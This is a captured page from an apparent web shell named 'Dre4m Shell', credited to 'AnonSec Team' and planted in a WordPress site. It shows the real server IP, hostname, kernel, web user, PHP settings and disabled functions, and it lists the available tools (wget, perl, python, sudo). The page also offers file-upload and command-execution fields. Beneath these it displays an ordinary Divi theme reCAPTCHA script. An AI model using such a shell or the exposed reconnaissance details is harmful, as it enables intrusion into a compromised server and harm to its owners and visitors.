Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.217.242.39
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/Divi/core/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/themes/Divi/core/admin/js/recaptcha.js
/**
 * NOTE: A minified copy of this script will be generated by grunt. Only the minified file will be included in zipped releases.
 *
 * @file Handles reCAPTCHA on the frontend.
 * @since 4.0.7
 */


(function($) {
  window.etCore          = window.etCore || {};
  window.etCore.api      = window.etCore.api || {};
  window.etCore.api.spam = window.etCore.api.spam || {};

  /**
   * Recaptcha
   *
   * @since??
   *
   * @memberof window.etCore.api.spam
   */
  window.etCore.api.spam.recaptcha = $.extend( et_core_api_spam_recaptcha, {

    _bindMethods: function(target) {
      Object.keys(target).forEach(function(prop) {
        if (target.hasOwnProperty(prop) && 'function' === typeof target[prop]) {
          target[prop] = target[prop].bind(target);
        }
      });
    },

    init: function() {
      this._bindMethods(this);

      if (this.isEnabled()) {
        // Execute the default page-level action
        window.grecaptcha && grecaptcha.execute(this.site_key, this.page_action);
      }
    },

    isEnabled: function() {
      return !! (this.site_key && window.grecaptcha);
    },

    /**
     * Score an interaction to determine whether or not it's a bot.
     *
     * @since 4.0.7
     *
     * @param {string} action The name of the action being performed.
     *
     * @return {Promise<string>} Interaction token to be verified on server.
     */
    interaction: function(action) {
      if (! this.isEnabled()) {
        return Promise.resolve('');
      }

      return grecaptcha.execute(this.site_key, { action: action });
    }
  } );

  window.grecaptcha && grecaptcha.ready(function() {
    window.etCore.api.spam.recaptcha.init();
  });

})(jQuery);

Anon7 - 2022
AnonSec Team